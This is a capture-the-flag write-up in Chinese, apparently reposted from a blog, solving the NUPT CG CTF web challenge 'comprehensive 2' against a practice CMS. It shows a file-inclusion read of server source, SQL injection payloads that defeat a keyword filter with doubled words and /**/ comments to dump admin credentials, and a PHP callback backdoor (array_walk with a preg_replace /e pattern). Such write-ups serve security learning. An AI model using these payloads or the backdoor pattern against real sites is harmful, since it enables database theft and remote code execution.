CG CTF WEB 综合题2
http://cms.nuptzj.cn/
題解：
MzAzMTY3YWQxZDlmZmUyNGIxOWNjZWI1OWY4NzA3ZmU=
base64解密
303167ad1d9ffe24b19cceb59f8707fe
md5解密
undefined?
?能點(diǎn)的都點(diǎn)一遍以后
?
?CMS說明的URL
http://cms.nuptzj.cn/about.php?file=sm.txt訪問
http://cms.nuptzj.cn/sm.txt存在config.php,index.php,passencode.php,say.php五個(gè)文件
admin的表結(jié)構(gòu)(可能存在SQL注入)
從URL
http://cms.nuptzj.cn/about.php?file=sm.txt可知，存在文件包含
可以獲取網(wǎng)站文件
獲取所有已知文件
在about.php中
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php $file=$_GET['file']; if($file=="" || strstr($file,'config.php')){ echo "file參數(shù)不能為空！"; exit(); }else{ $cut=strchr($file,"loginxlcteam"); if($cut==false){$data=file_get_contents($file); $date=htmlspecialchars($data); echo $date; }else{ echo "<script>alert('敏感目錄，禁止查看！但是。。。')</script>"; } }存在文件loginxlcteam
訪問
http://cms.nuptzj.cn/loginxlcteam/發(fā)現(xiàn)是后臺(tái)
用戶名、密碼未知
返回index.php
有留言搜索功能，可能存在數(shù)據(jù)庫查詢
直接使用功能
審查元素
發(fā)現(xiàn)文件so.php
下載so.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊，本功能只有用本公司開發(fā)的瀏覽器才可以用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數(shù)據(jù)庫！！".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/> '.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>發(fā)現(xiàn)antiinject.php、antixss.php兩個(gè)文件
antiinject.php
<?php function antiinject($content){ $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); $info=strtolower($content); for($i=0;$i<=count($keyword);$i++){$info=str_replace($keyword[$i], '',$info); } return $info; } ?>作用：防止SQL注入
antixss.php
<?php function antixss($content){ preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url); $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因?yàn)樘?#xff0c;很懶，所以。。。(過濾規(guī)則來自Mramydnei) $re=$url[2]; if(count($url)==0){ return htmlspecialchars($content); }else{ for($i=0;$i<=count($key);$i++){ $re=str_replace($key[$i], '_',$re); } return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES); } } ?>作用：預(yù)防XSS攻擊
antiinject.php中
過濾了敏感詞，可以用雙重繞過
過濾了空格，可以用/**/繞過
?SQL語句源代碼
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");SQL注入
soid=1/**/UNunionION/**/SELselectECT/**/1,2,3,4其中
USER-AGENT=Xlcteam Browser
?SQL注入
soid=1/**/an=d/**/0/**/unio=n/**/selec=t/**/null,usernam=e,userpas=s,null/**/fro=m/**/admi=n?passencode.php
<?php function passencode($content){ $pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>作用：將用戶輸入的密碼存儲(chǔ)為ASCII碼的形式
[102 ,117 ,99 ,107 ,114 ,117 ,110 ,116 ,117]轉(zhuǎn)換[fuckruntu]?用戶名：admin? ? 密碼：fuckruntu
登錄
xlcteam.php
<?php $e = $_REQUEST['www']; $arr = array($_POST['wtf'] => '|.*|e',); array_walk($arr, $e, ''); ?>回調(diào)后門?
?
獲取文件目錄?
flag
總結(jié)
以上是生活随笔為你收集整理的CG CTF WEB 综合题2的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： CG CTF WEB 综合题
- 下一篇： CG CTF RE Hello,RE!